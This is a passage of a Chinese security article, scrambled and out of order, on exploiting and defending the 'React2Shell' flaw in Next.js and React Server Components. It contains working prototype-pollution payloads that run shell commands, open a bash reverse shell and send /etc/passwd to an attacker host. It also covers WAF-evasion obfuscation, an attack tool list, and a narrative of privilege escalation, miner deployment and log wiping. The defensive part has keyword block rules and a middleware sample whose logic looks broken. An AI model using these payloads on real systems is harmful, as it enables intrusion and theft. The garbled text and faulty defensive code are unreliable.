'cmd.exe'})；\u90e8\u5206Node.js\u7248\u672c\u4e2d，process.mainModule\u5df2\u88ab\u5e9f\u5f03，\u9700\u66ff\u6362\u4e3arequire('module').createRequire(process.cwd())，\u907f\u514dPayload\u5931\u6548\u3002<\/p>\n<\/li>\n \u7ec6\u82823：Payload\u7f16\u7801\u4e0e\u6df7\u6dc6：\u4e3a\u7ed5\u8fc7WAF\u62e6\u622a，\u53ef\u5bf9Payload\u4e2d\u7684\u5173\u952e\u5b57（\u5982__proto__\u3001then\u3001execSync）\u8fdb\u884cBase64\u7f16\u7801\u3001Unicode\u7f16\u7801，\u6216\u4f7f\u7528\u5b57\u7b26\u4e32\u62fc\u63a5\u7684\u65b9\u5f0f\u89c4\u907f\u68c0\u6d4b，\u793a\u4f8b：'__pro'+'to__'\u3001'exe'+'cSync'\u3002<\/p>\n<\/li>\n<\/ul>\n \u653b\u51fb\u8005\u53ef\u501f\u52a9\u4ee5\u4e0b\u5de5\u5177，\u5b9e\u73b0\u6279\u91cf\u626b\u63cf\u3001Payload\u6784\u9020\u3001\u6f0f\u6d1e\u5229\u7528，\u964d\u4f4e\u653b\u51fb\u96be\u5ea6：<\/p>\n \u57fa\u7840\u5de5\u5177：Burp Suite（\u6784\u9020Payload\u3001\u62e6\u622a\u4fee\u6539\u8bf7\u6c42\u3001\u6d4b\u8bd5\u7ed5\u8fc7WAF）\u3001Nmap（\u7aef\u53e3\/\u76ee\u5f55\u626b\u63cf）\u3001Netcat（\u76d1\u542c\u53cd\u5f39Shell）\u3002<\/p>\n<\/li>\n \u4e13\u7528\u5de5\u5177：React2Shell-Exploit（GitHub\u5f00\u6e90，\u81ea\u5b9a\u4e49Python\u811a\u672c，\u652f\u6301\u6279\u91cf\u626b\u63cf\u3001\u81ea\u52a8\u83b7\u53d6buildId\u3001\u751f\u6210\u9002\u914dPayload）\u3001Metasploit（\u5df2\u66f4\u65b0\u5bf9\u5e94\u5229\u7528\u6a21\u5757，\u6a21\u5757\u540d：exploit\/multi\/http\/react2shell_rce，\u652f\u6301\u4e00\u952e\u5229\u7528\u3001\u53cd\u5f39Meterpreter Shell）\u3002<\/p>\n<\/li>\n \u8fdb\u9636\u5de5\u5177：CS（Cobalt Strike，\u7528\u4e8e\u540e\u6e17\u900f\u6d4b\u8bd5\u3001\u5185\u7f51\u6a2a\u5411\u6e17\u900f）\u3001Empire（PowerShell\u5e1d\u56fd，\u9002\u7528\u4e8eWindows\u670d\u52a1\u5668\u540e\u6e17\u900f）\u3002<\/p>\n<\/li>\n<\/ul>\n \u653b\u51fb\u6d41\u91cf\u5177\u6709\u660e\u663e\u7684\u7279\u5f81，\u53ef\u4f5c\u4e3aWAF\u3001IDS\/IPS\u68c0\u6d4b\u7684\u6838\u5fc3\u4f9d\u636e，\u4e3b\u8981\u5206\u4e3a4\u7c7b：<\/p>\n \u8def\u5f84\u7279\u5f81：POST\u8bf7\u6c42\u8bbf\u95ee\/_next\/data\/\u3001\/api\/\u3001\/action\/\u7b49RSC\u76f8\u5173\u7aef\u70b9，\u5c24\u5176\u662f\/_next\/data\/[buildId]\/[page].json\u8def\u5f84\u3002<\/p>\n<\/li>\n \u8bf7\u6c42\u5934\u7279\u5f81：\u643a\u5e26Next-Action\u8bf7\u6c42\u5934（Server Action\u5229\u7528\u573a\u666f），Content-Type\u4e3aapplication\/json\u6216application\/x-www-form-urlencoded（\u90e8\u5206\u573a\u666f）\u3002<\/p>\n<\/li>\n Payload\u5173\u952e\u5b57\u7279\u5f81：\u5305\u542b__proto__\u3001then\u3001constructor\u3001execSync\u3001spawn\u3001child_process\u3001require\u7b49\u6076\u610f\u5173\u952e\u5b57；Flight\u534f\u8baePayload\u4ee5$1\u3001$@\u3001$B\u7b49\u7279\u6b8a\u524d\u7f00\u5f00\u5934\u3002<\/p>\n<\/li>\n \u54cd\u5e94\u7279\u5f81：\u547d\u4ee4\u6267\u884c\u6210\u529f\u540e，\u54cd\u5e94\u5185\u5bb9\u4f1a\u5305\u542b\u670d\u52a1\u5668\u4fe1\u606f（\u5982uid=1000(nodejs)\u3001Linux localhost 5.4.0）\u3001\u654f\u611f\u6587\u4ef6\u5185\u5bb9（\u5982\/etc\/passwd\u5185\u5bb9），\u6216\u54cd\u5e94\u72b6\u6001\u7801\u4e3a200（\u5373\u4f7f\u6267\u884c\u6076\u610f\u64cd\u4f5c，Next.js\u4e5f\u53ef\u80fd\u8fd4\u56de\u6b63\u5e38\u72b6\u6001\u7801）\u3002<\/p>\n<\/li>\n<\/ul>\n \u9762\u5bf9\u76ee\u6807\u7684\u57fa\u7840\u9632\u62a4（\u5982\u7b80\u5355WAF\u3001\u5173\u952e\u5b57\u8fc7\u6ee4），\u653b\u51fb\u8005\u4f1a\u91c7\u7528\u4ee5\u4e0b\u7ed5\u8fc7\u6280\u5de7，\u63d0\u5347\u653b\u51fb\u6210\u529f\u7387，\u4e5f\u662f\u9632\u5fa1\u4fa7\u9700\u8981\u91cd\u70b9\u5173\u6ce8\u7684\u70b9：<\/p>\n \u5173\u952e\u5b57\u6df7\u6dc6\u4e0e\u7f16\u7801：\u5982\u524d\u6240\u8ff0，\u901a\u8fc7Base64\u7f16\u7801\u3001Unicode\u7f16\u7801\u3001\u5b57\u7b26\u4e32\u62fc\u63a5，\u89c4\u907fWAF\u7684\u5173\u952e\u5b57\u62e6\u622a，\u793a\u4f8b："__proto__"\u7f16\u7801\u4e3a"\\\\u005f\\\\u005f\\\\u0070\\\\u0072\\\\u006f\\\\u0074\\\\u006f\\\\u005f\\\\u005f"，"execSync"\u62fc\u63a5\u4e3a"exe"+"cSync"\u3002<\/p>\n<\/li>\n Payload\u683c\u5f0f\u53d8\u5f62：\u8c03\u6574Payload\u7684\u7ed3\u6784，\u5982\u5728__proto__\u524d\u540e\u6dfb\u52a0\u7a7a\u683c\u3001\u6362\u884c\u7b26，\u6216\u4fee\u6539\u5b57\u6bb5\u987a\u5e8f（Flight\u534f\u8bae\u573a\u666f），\u907f\u514d\u88abWAF\u89c4\u5219\u5339\u914d；Server Action\u573a\u666f\u4e2d，\u4fee\u6539$1\u4e3a\u5176\u4ed6\u53c2\u6570\u6807\u8bc6（\u5982$2\u3001$a），\u9002\u914d\u76ee\u6807\u7684\u8bf7\u6c42\u683c\u5f0f\u3002<\/p>\n<\/li>\n \u5206\u9636\u6bb5\u6ce8\u5165：\u5148\u53d1\u9001\u65e0\u6076\u610f\u7684\u6b63\u5e38\u8bf7\u6c42，\u83b7\u53d6\u76ee\u6807\u7684\u54cd\u5e94\u683c\u5f0f\u3001\u53c2\u6570\u6807\u8bc6，\u518d\u9010\u6b65\u6ce8\u5165\u6076\u610f\u5b57\u6bb5，\u907f\u514d\u4e00\u6b21\u6027\u53d1\u9001\u542b\u654f\u611f\u5173\u952e\u5b57\u7684Payload，\u88abWAF\u62e6\u622a\u3002<\/p>\n<\/li>\n \u5229\u7528\u8fb9\u7f18\u573a\u666f\u7ed5\u8fc7：\u9488\u5bf9WAF\u7684\u89c4\u5219\u6f0f\u6d1e，\u5229\u7528\u4e0d\u5e38\u89c1\u7684\u653b\u51fb\u8def\u5f84（\u5982\u672a\u88ab\u76d1\u63a7\u7684\u5c0f\u4f17Server Action\u7aef\u70b9），\u6216\u4f7f\u7528\u4e0d\u5e38\u89c1\u7684\u547d\u4ee4\u6267\u884c\u51fd\u6570（\u5982execFile\u66ff\u4ee3execSync），\u89c4\u907f\u62e6\u622a\u3002<\/p>\n<\/li>\n<\/ul>\n \u4ee5\u4e0b\u7ed3\u5408\u771f\u5b9e\u653b\u51fb\u6848\u4f8b，\u8fd8\u539f\u653b\u51fb\u8005\u5229\u7528\u4e24\u5927\u6f0f\u6d1e\u7684\u5b8c\u6574\u6d41\u7a0b，\u5e2e\u52a9\u653b\u9632\u53cc\u65b9\u66f4\u76f4\u89c2\u5730\u7406\u89e3\u6f0f\u6d1e\u5371\u5bb3\u4e0e\u5229\u7528\u903b\u8f91：<\/p>\n \u6848\u4f8b\u80cc\u666f：\u67d0\u7535\u5546\u5e73\u53f0\u91c7\u7528Next.js 15.5.5\u7248\u672c（App Router\u6a21\u5f0f），React\u7248\u672c19.2.2，\u542f\u7528Server Action\u5904\u7406\u7528\u6237\u4e0b\u5355\u3001\u767b\u5f55\u64cd\u4f5c，\u516c\u7f51\u5f00\u653e\/api\/action\/\u7aef\u70b9，\u672a\u542f\u7528WAF，\u4ec5\u505a\u4e86\u7b80\u5355\u7684\u53c2\u6570\u6821\u9a8c\u3002<\/p>\n \u653b\u51fb\u6d41\u7a0b：<\/p>\n \u63a2\u6d4b\u9636\u6bb5：\u653b\u51fb\u8005\u901a\u8fc7\u76ee\u5f55\u626b\u63cf，\u53d1\u73b0\u76ee\u6807\/api\/action\/submit\u7aef\u70b9，\u643a\u5e26Next-Action\u8bf7\u6c42\u5934，\u5224\u65ad\u4e3aServer Action\u7aef\u70b9；\u901a\u8fc7\u54cd\u5e94\u5934\u5224\u65adNext.js\u7248\u672c\u4e3a15.5.5，React\u7248\u672c\u4e3a19.2.2，\u786e\u8ba4\u5728\u6f0f\u6d1e\u8303\u56f4\u5185\u3002<\/p>\n<\/li>\n \u5229\u7528\u9636\u6bb5：\u6784\u9020\u53cd\u5f39Shell Payload（\u9002\u914dLinux\u670d\u52a1\u5668），\u901a\u8fc7Burp Suite\u53d1\u9001POST\u8bf7\u6c42\u81f3\/api\/action\/submit，\u6210\u529f\u53cd\u5f39Shell\u81f3\u653b\u51fb\u8005\u670d\u52a1\u5668，\u83b7\u53d6Node.js\u8fdb\u7a0b\u6743\u9650（\u975eroot）\u3002<\/p>\n<\/li>\n \u63d0\u6743\u4e0e\u7a83\u53d6\u9636\u6bb5：\u901a\u8fc7Shell\u8bfb\u53d6\/var\/www\/html\/.env\u6587\u4ef6，\u83b7\u53d6\u6570\u636e\u5e93\u8d26\u53f7\u5bc6\u7801（MySQL）；\u5229\u7528\u6570\u636e\u5e93\u6743\u9650，\u8bfb\u53d6\u7528\u6237\u4fe1\u606f（\u624b\u673a\u53f7\u3001\u5bc6\u7801\u54c8\u5e0c）\u3001\u8ba2\u5355\u6570\u636e；\u901a\u8fc7SUID\u63d0\u6743，\u83b7\u53d6root\u6743\u9650\u3002<\/p>\n<\/li>\n \u6301\u4e45\u5316\u4e0e\u6a2a\u5411\u9636\u6bb5：\u5728\u670d\u52a1\u5668\u4e0a\u90e8\u7f72\u6316\u77ff\u7a0b\u5e8f，\u6dfb\u52a0\u9690\u85cfSSH\u7528\u6237；\u626b\u63cf\u5185\u7f51\u7f51\u6bb5（192.168.0.0\/24），\u53d1\u73b0\u540c\u7f51\u6bb5\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u3001\u540e\u53f0\u7ba1\u7406\u670d\u52a1\u5668，\u5229\u7528\u5f31\u53e3\u4ee4\u767b\u5f55，\u6269\u5927\u653b\u51fb\u8303\u56f4\u3002<\/p>\n<\/li>\n \u9690\u853d\u9636\u6bb5：\u6e05\u7406\u653b\u51fb\u65e5\u5fd7（\/var\/log\/nginx\/access.log\u3001\/var\/log\/syslog），\u4fee\u6539Shell\u6743\u9650，\u907f\u514d\u88ab\u7ba1\u7406\u5458\u53d1\u73b0\u3002<\/p>\n<\/li>\n \u6848\u4f8b\u542f\u793a：\u8be5\u6848\u4f8b\u5145\u5206\u4f53\u73b0\u4e86\u4e24\u5927\u6f0f\u6d1e\u7684\u9ad8\u5371\u5bb3\u6027，\u4ec5\u9700\u7b80\u5355Payload\u5373\u53ef\u5b9e\u73b0\u65e0\u8ba4\u8bc1\u7a81\u7834，\u4e14\u653b\u51fb\u8005\u53ef\u901a\u8fc7\u540e\u6e17\u900f\u624b\u6bb5\u6269\u5927\u5371\u5bb3；\u540c\u65f6\u4e5f\u66b4\u9732\u4e86\u4f01\u4e1a\u9632\u62a4\u7684\u8584\u5f31\u70b9\u2014\u2014\u672a\u53ca\u65f6\u5347\u7ea7\u7248\u672c\u3001\u7f3a\u4e4f\u6709\u6548WAF\u9632\u62a4\u3001\u6743\u9650\u7ba1\u7406\u677e\u6563\u3002<\/p>\n \u9488\u5bf9React2Shell\u4e0eNext.js\u6f0f\u6d1e，\u9632\u5fa1\u4fa7\u9700\u6452\u5f03\u201c\u5355\u4e00\u4fee\u590d\u201d\u7684\u601d\u8def，\u6784\u5efa\u201c\u7248\u672c\u6839\u6cbb+\u914d\u7f6e\u52a0\u56fa+\u6d41\u91cf\u62e6\u622a+\u68c0\u6d4b\u54cd\u5e94+\u4eba\u5458\u80fd\u529b\u201d\u7684\u591a\u5c42\u9632\u5fa1\u4f53\u7cfb，\u65e2\u8981\u963b\u65ad\u5f53\u524d\u6f0f\u6d1e\u7684\u5229\u7528，\u4e5f\u8981\u9632\u8303\u672a\u6765\u7c7b\u4f3c\u6f0f\u6d1e\u7684\u653b\u51fb，\u5b9e\u73b0\u201c\u88ab\u52a8\u9632\u5fa1\u2192\u4e3b\u52a8\u9632\u62a4\u2192\u524d\u77bb\u9632\u62a4\u201d\u7684\u5347\u7ea7\u3002\u4ee5\u4e0b\u4ece\u201c\u7d27\u6025\u4fee\u590d\u2192\u4e34\u65f6\u7f13\u89e3\u2192\u6df1\u5ea6\u52a0\u56fa\u2192\u68c0\u6d4b\u54cd\u5e94\u2192\u5e94\u6025\u5904\u7f6e\u201d\u4e94\u4e2a\u7ef4\u5ea6，\u63d0\u4f9b\u53ef\u843d\u5730\u7684\u9632\u62a4\u65b9\u6848\u3002<\/p>\n \u6f0f\u6d1e\u7684\u672c\u8d28\u662fReact\u4e0eNext.js\u7684\u4ee3\u7801\u7f3a\u9677，\u4ec5\u901a\u8fc7\u7248\u672c\u5347\u7ea7，\u5373\u53ef\u5f7b\u5e95\u4fee\u590d\u53cd\u5e8f\u5217\u5316\u7f3a\u9677\u3001\u539f\u578b\u94fe\u6c61\u67d3\u6f0f\u6d1e，\u662f\u9632\u5fa1\u4fa7\u7684\u6838\u5fc3\u624b\u6bb5，\u9700\u7acb\u5373\u6267\u884c\u3002<\/p>\n \u5347\u7ea7\u7248\u672c：\u7acb\u5373\u5347\u7ea7\u81f3Next.js 15.5.7\u53ca\u4ee5\u4e0a\u7248\u672c，\u621616.0.7\u53ca\u4ee5\u4e0a\u7248\u672c（\u5b98\u65b9\u5df2\u4fee\u590d\u8be5\u6f0f\u6d1e，\u4fee\u590d\u903b\u8f91：\u5bf9Server Action\u53c2\u6570\u8fdb\u884c\u4e25\u683c\u6821\u9a8c，\u963b\u65ad\u539f\u578b\u94fe\u6c61\u67d3；\u4f18\u5316Flight\u534f\u8bae\u53cd\u5e8f\u5217\u5316\u903b\u8f91，\u8fc7\u6ee4\u6076\u610f__proto__\u5b57\u6bb5）\u3002<\/p>\n<\/li>\n \u5347\u7ea7\u547d\u4ee4（\u9002\u914d\u4e0d\u540c\u5305\u7ba1\u7406\u5668）：<\/p>\n<\/li>\n<\/ul>\n # npm\u5305\u7ba1\u7406\u5668<\/span> # yarn\u5305\u7ba1\u7406\u5668<\/span> # pnpm\u5305\u7ba1\u7406\u5668<\/span> \/\/ next.config.js \u5b8c\u6574\u52a0\u56fa\u914d\u7f6e<\/span> \u5bf9\u4e8e\u672a\u4f7f\u7528Next.js，\u4ec5\u4f7f\u7528React RSC\u7684\u9879\u76ee，\u9700\u5347\u7ea7react\u3001react-dom\u3001react-server-dom-webpack\u4e09\u4e2a\u6838\u5fc3\u5305\u81f3\u6700\u65b0\u5b89\u5168\u7248\u672c，\u5f7b\u5e95\u4fee\u590d\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e：<\/p>\n # \u5347\u7ea7\u6838\u5fc3\u4f9d\u8d56\u5305<\/span> \u8865\u5145\u8bf4\u660e：\u5347\u7ea7\u540e，React\u4f1a\u81ea\u52a8\u8fc7\u6ee4\u53cd\u5e8f\u5217\u5316\u6570\u636e\u4e2d\u7684__proto__\u5b57\u6bb5，\u963b\u65ad\u539f\u578b\u94fe\u6c61\u67d3，\u65e0\u9700\u989d\u5916\u914d\u7f6e\u3002<\/p>\n \u90e8\u5206\u4f01\u4e1a\u56e0\u4e1a\u52a1\u8fed\u4ee3\u3001\u6d4b\u8bd5\u5468\u671f\u7b49\u539f\u56e0，\u65e0\u6cd5\u7acb\u5373\u5347\u7ea7\u7248\u672c，\u53ef\u91c7\u7528\u4ee5\u4e0b\u4e34\u65f6\u7f13\u89e3\u65b9\u6848，\u964d\u4f4e\u6f0f\u6d1e\u5229\u7528\u98ce\u9669（\u4ec5\u80fd\u7f13\u89e3，\u65e0\u6cd5\u6839\u6cbb，\u5efa\u8bae\u5c3d\u5feb\u5347\u7ea7）：<\/p>\n \u901a\u8fc7WAF（\u4e91WAF\u3001\u672c\u5730WAF\u5982Nginx\u3001Apache）\u6216\u9632\u706b\u5899，\u62e6\u622a\u6076\u610f\u8bf7\u6c42，\u963b\u65ad\u653b\u51fb\u5165\u53e3，\u4ee5\u4e0b\u63d0\u4f9b\u53ef\u76f4\u63a5\u90e8\u7f72\u7684\u62e6\u622a\u89c4\u5219（\u9002\u914d\u4e0d\u540c\u573a\u666f）：<\/p>\n \u901a\u7528\u62e6\u622a\u89c4\u5219（\u6240\u6709\u573a\u666f）： Nginx\u62e6\u622a\u89c4\u5219（\u53ef\u76f4\u63a5\u590d\u5236\u90e8\u7f72）：<\/p>\n<\/li>\n<\/ul>\n # \u7f16\u8f91nginx.conf，\u6dfb\u52a0\u5728server\u5757\u4e2d \u7981\u7528\u672a\u4f7f\u7528\u7684Server Action：\u68b3\u7406\u9879\u76ee\u4e2d\u7684Server Action，\u4ec5\u4fdd\u7559\u4e1a\u52a1\u5fc5\u9700\u7684Action，\u5220\u9664\u6216\u6ce8\u91ca\u672a\u4f7f\u7528\u7684Action，\u51cf\u5c11\u653b\u51fb\u9762\u3002<\/p>\n<\/li>\n \u9650\u5236Node.js\u8fdb\u7a0b\u6743\u9650：\u4ee5\u975eroot\u7528\u6237（\u5982nodejs\u7528\u6237）\u8fd0\u884cNext.js\/React\u670d\u52a1，\u5373\u4f7f\u6f0f\u6d1e\u88ab\u5229\u7528，\u653b\u51fb\u8005\u4e5f\u65e0\u6cd5\u83b7\u53d6root\u6743\u9650，\u964d\u4f4e\u5371\u5bb3\u8303\u56f4\u3002<\/p>\n<\/li>\n \u8fc7\u6ee4\u8bf7\u6c42\u53c2\u6570：\u5728\u5e94\u7528\u4ee3\u7801\u4e2d，\u624b\u52a8\u8fc7\u6ee4\u8bf7\u6c42\u4f53\u4e2d\u7684__proto__\u5b57\u6bb5，\u5982\u4f7f\u7528\u4e2d\u95f4\u4ef6\u62e6\u622a\u6240\u6709POST\u8bf7\u6c42，\u5220\u9664__proto__\u76f8\u5173\u5b57\u6bb5（\u793a\u4f8b\u5982\u4e0b）：<\/p>\n<\/li>\n<\/ul>\n \/\/ Next.js\u4e2d\u95f4\u4ef6（middleware.js），\u8fc7\u6ee4__proto__\u5b57\u6bb5<\/span> \u53ef\u4f7f\u7528patch-package\u5de5\u5177，\u5bf9react-server-dom-webpack\u5305\u8fdb\u884c\u4e34\u65f6\u8865\u4e01\u4fee\u590d，\u963b\u65ad\u539f\u578b\u94fe\u6c61\u67d3（\u4ec5\u9002\u7528\u4e8e\u65e0\u6cd5\u7acb\u5373\u5347\u7ea7\u7684\u573a\u666f）：<\/p>\n # \u5b89\u88c5patch-package<\/span> # \u7f16\u8f91node_modules\/react-server-dom-webpack\/dist\/server.js，\u6dfb\u52a0\u8fc7\u6ee4\u903b\u8f91<\/span> # \u751f\u6210\u8865\u4e01\u6587\u4ef6<\/span>
\n "actionId"<\/span>:<\/span> "xxx"<\/span>,<\/span> \/\/ \u4ece\u524d\u7aef\u6e90\u7801\u6216\u63a2\u6d4b\u8bf7\u6c42\u4e2d\u83b7\u53d6<\/span>
\n "inputs"<\/span>:<\/span> [<\/span>
\n {<\/span>
\n "name"<\/span>:<\/span> "$1:__proto__:then"<\/span>,<\/span> \/\/ \u539f\u578b\u94fe\u6c61\u67d3\u5b57\u6bb5，$1\u662fNext.js\u7ea6\u5b9a\u7684\u53c2\u6570\u6807\u8bc6<\/span>
\n "args"<\/span>:<\/span> [<\/span>
\n "function(){return process.mainModule.require('child_process').execSync('id && uname -a').toString()}"<\/span>
\n ]<\/span>
\n }<\/span>
\n ]<\/span>
\n}<\/span><\/p>\n
\n "actionId"<\/span>:<\/span> "xxx"<\/span>,<\/span>
\n "inputs"<\/span>:<\/span> [<\/span>
\n {<\/span>
\n "name"<\/span>:<\/span> "$1:__proto__:then"<\/span>,<\/span>
\n "args"<\/span>:<\/span> [<\/span>
\n "function(){const cp = require('child_process');const cmd = 'bash -i >& \/dev\/tcp\/192.168.1.100\/8888 0>&1';cp.spawn('\/bin\/bash', ['-c', cmd], {detached: true, stdio: 'ignore'});return 'success';}"<\/span>
\n ]<\/span>
\n }<\/span>
\n ]<\/span>
\n}<\/span><\/p>\n2.2.2 \u8def\u5f842：Flight\u534f\u8bae\u5e95\u5c42\u5229\u7528（\u6700\u9690\u853d，\u7ed5\u9632\u62a4）<\/h4>\n
\n
\n "$1"<\/span>,<\/span> \/\/ Flight\u534f\u8bae\u6807\u8bc6<\/span>
\n {<\/span>"type"<\/span>:<\/span> "$$typeof"<\/span>,<\/span> "value"<\/span>:<\/span> "__proto__"<\/span>}<\/span>,<\/span> \/\/ \u539f\u578b\u94fe\u6307\u9488，\u6c61\u67d3Object.prototype<\/span>
\n {<\/span>"type"<\/span>:<\/span> "then"<\/span>,<\/span> "value"<\/span>:<\/span> "function(){const fs = require('fs');const data = fs.readFileSync('\/etc\/passwd', 'utf8');require('http').get('http:\/\/192.168.1.100:8080\/steal?data='+encodeURIComponent(data));}"<\/span>}<\/span> \/\/ \u6076\u610fthen\u65b9\u6cd5，\u7a83\u53d6\u654f\u611f\u6587\u4ef6\u5e76\u53d1\u9001\u81f3\u653b\u51fb\u8005\u670d\u52a1\u5668<\/span>
\n]<\/span><\/p>\n2.2.3 \u8def\u5f843：\u591a\u9636\u6bb5\u7ec4\u5408\u5229\u7528（\u8fdb\u9636\u6e17\u900f，\u6df1\u5ea6\u63a7\u5236）<\/h4>\n
2.3 Payload\u6df1\u5ea6\u89e3\u6790（\u89c4\u907f\u8bef\u533a，\u63d0\u9ad8\u6210\u529f\u7387）<\/h3>\n
\n
2.4 \u653b\u51fb\u5de5\u5177\u4e0e\u6d41\u91cf\u7279\u5f81（\u9632\u5fa1\u68c0\u6d4b\u7684\u6838\u5fc3\u4f9d\u636e）<\/h3>\n
2.4.1 \u5e38\u7528\u653b\u51fb\u5de5\u5177<\/h4>\n
\n
2.4.2 \u6838\u5fc3\u6d41\u91cf\u7279\u5f81（\u9632\u5fa1\u4fa7\u68c0\u6d4b\u91cd\u70b9）<\/h4>\n
\n
2.5 \u5e38\u89c1\u7ed5\u8fc7\u6280\u5de7（\u653b\u51fb\u8005\u89c4\u907f\u9632\u5fa1\u7684\u624b\u6bb5）<\/h3>\n
\n
2.6 \u5b9e\u6218\u573a\u666f\u590d\u76d8（\u8fd8\u539f\u771f\u5b9e\u653b\u51fb\u6848\u4f8b）<\/h3>\n
\u4e09\u3001\u9632\u5fa1\u4fa7：\u4f53\u7cfb\u5316\u9632\u62a4\u4e0e\u5e94\u6025\u54cd\u5e94（\u5b89\u5168\u8fd0\u8425\u89c6\u89d2）<\/h2>\n
3.1 \u6700\u9ad8\u4f18\u5148\u7ea7：\u7248\u672c\u5347\u7ea7（\u6839\u6cbb\u6f0f\u6d1e\u7684\u552f\u4e00\u65b9\u6848）<\/h3>\n
3.1.1 Next.js\u9879\u76ee\u4fee\u590d（\u91cd\u70b9\u573a\u666f）<\/h4>\n
\n
\nnpm<\/span> install<\/span> next@15.5.7 react@19.2.3 react-dom@19.2.3 –save<\/p>\n
\nyarn<\/span> add<\/span> next@15.5.7 react@19.2.3 react-dom@19.2.3<\/p>\n
\npnpm<\/span> add<\/span> next@15.5.7 react@19.2.3 react-dom@19.2.3<\/p>\n\n
\nmodule.<\/span>exports =<\/span> {<\/span>
\n experimental<\/span>:<\/span> {<\/span>
\n serverActionsStrict<\/span>:<\/span> true<\/span>,<\/span> \/\/ \u5f3a\u5236Action ID\u767d\u540d\u5355\u6821\u9a8c<\/span>
\n serverActions<\/span>:<\/span> {<\/span>
\n allowedOrigins<\/span>:<\/span> [<\/span>'https:\/\/your-domain.com'<\/span>]<\/span>,<\/span> \/\/ \u4ec5\u5141\u8bb8\u5408\u6cd5\u524d\u7aef\u57df\u540d\u8c03\u7528Action<\/span>
\n }<\/span>
\n }<\/span>,<\/span>
\n \/\/ \u5176\u4ed6\u914d\u7f6e…<\/span>
\n}<\/span><\/p>\n3.1.2 \u7eafReact RSC\u9879\u76ee\u4fee\u590d<\/h4>\n
\nnpm<\/span> install<\/span> react@19.2.3 react-dom@19.2.3 react-server-dom-webpack@19.2.3 –save<\/p>\n3.2 \u4e34\u65f6\u7f13\u89e3\u65b9\u6848（\u65e0\u6cd5\u7acb\u5373\u5347\u7ea7\u65f6）<\/h3>\n
3.2.1 WAF\/\u9632\u706b\u5899\u62e6\u622a（\u6838\u5fc3\u7f13\u89e3\u624b\u6bb5）<\/h4>\n
\n
\n1. \u62e6\u622a\u542b__proto__\u3001then\u3001constructor\u3001execSync\u3001spawn\u3001child_process\u3001require\u7b49\u5173\u952e\u5b57\u7684POST\u8bf7\u6c42；
\n2. \u62e6\u622aFlight\u534f\u8baePayload\u7279\u5f81：\u8bf7\u6c42\u4f53\u4ee5$1\u3001$@\u3001$B\u5f00\u5934，\u4e14\u5305\u542b__proto__\u5b57\u6bb5；
\n3. \u9650\u5236\/_next\/data\/\u3001\/api\/\u3001\/action\/\u7b49\u7aef\u70b9\u7684\u8bbf\u95ee，\u4ec5\u5141\u8bb8\u5408\u6cd5\u524d\u7aefIP\u3001\u5185\u7f51IP\u8bbf\u95ee（IP\u767d\u540d\u5355）；
\n4. \u62e6\u622a\u643a\u5e26Next-Action\u8bf7\u6c42\u5934，\u4e14\u8bf7\u6c42\u4f53\u5305\u542b\u6076\u610f\u5173\u952e\u5b57\u7684\u8bf7\u6c42\u3002<\/p>\n<\/li>\n
\nlocation ~* ^(\/api\/|\/_next\/data\/|\/action\/) {
\n if ($request_method = POST) {
\n # \u62e6\u622a\u6076\u610f\u5173\u952e\u5b57
\n if ($request_body ~* (__proto__|then|constructor|execSync|spawn|child_process|require)) {
\n return 403;
\n }
\n # \u62e6\u622aFlight\u534f\u8bae\u6076\u610fPayload
\n if ($request_body ~* ^(\\\\$1|\\\\$@|\\\\$B).*__proto__) {
\n return 403;
\n }
\n # \u62e6\u622a\u5f02\u5e38Next-Action\u8bf7\u6c42\u5934
\n if ($http_next_action ~* .*(__proto__|then)) {
\n return 403;
\n }
\n }
\n # IP\u767d\u540d\u5355（\u66ff\u6362\u4e3a\u4f60\u7684\u5408\u6cd5IP）
\n allow 192.168.1.0\/24;
\n allow 127.0.0.1;
\n deny all;
\n}<\/p>\n\n
3.2.2 \u5e94\u7528\u5c42\u914d\u7f6e\u52a0\u56fa<\/h4>\n
\n
\nexport<\/span> function<\/span> middleware<\/span>(<\/span>request<\/span>)<\/span> {<\/span>
\n if<\/span> (<\/span>request.<\/span>method ===<\/span> 'POST'<\/span>)<\/span> {<\/span>
\n return<\/span> request.<\/span>json<\/span>(<\/span>)<\/span>.<\/span>then<\/span>(<\/span>body<\/span> =><\/span> {<\/span>
\n \/\/ \u9012\u5f52\u5220\u9664\u6240\u6709__proto__\u5b57\u6bb5<\/span>
\n const<\/span> cleanBody<\/span> =<\/span> (<\/span>obj<\/span>)<\/span> =><\/span> {<\/span>
\n if<\/span> (<\/span>typeof<\/span> obj !==<\/span> 'object'<\/span> ||<\/span> obj ===<\/span> null<\/span>)<\/span> return<\/span> obj;<\/span>
\n delete<\/span> obj.<\/span>__proto__;<\/span>
\n Object.<\/span>values<\/span>(<\/span>obj)<\/span>.<\/span>forEach<\/span>(<\/span>cleanBody)<\/span>;<\/span>
\n return<\/span> obj;<\/span>
\n }<\/span>;<\/span>
\n const<\/span> cleaned =<\/span> cleanBody<\/span>(<\/span>body)<\/span>;<\/span>
\n \/\/ \u91cd\u65b0\u6784\u9020\u8bf7\u6c42<\/span>
\n return<\/span> new<\/span> Response<\/span>(<\/span>JSON<\/span>.<\/span>stringify<\/span>(<\/span>cleaned)<\/span>,<\/span> {<\/span>
\n headers<\/span>:<\/span> request.<\/span>headers,<\/span>
\n }<\/span>)<\/span>;<\/span>
\n }<\/span>)<\/span>;<\/span>
\n }<\/span>
\n return<\/span> NextResponse.<\/span>next<\/span>(<\/span>)<\/span>;<\/span>
\n}<\/span><\/p>\n3.2.3 \u4f9d\u8d56\u5305\u4e34\u65f6\u4fee\u590d<\/h4>\n
\nnpm<\/span> install<\/span> patch-package –save-dev<\/p>\n
\n# \u5728\u53cd\u5e8f\u5217\u5316\u51fd\u6570\u4e2d，\u6dfb\u52a0：if (key === '__proto__') delete obj[key];<\/span><\/p>\n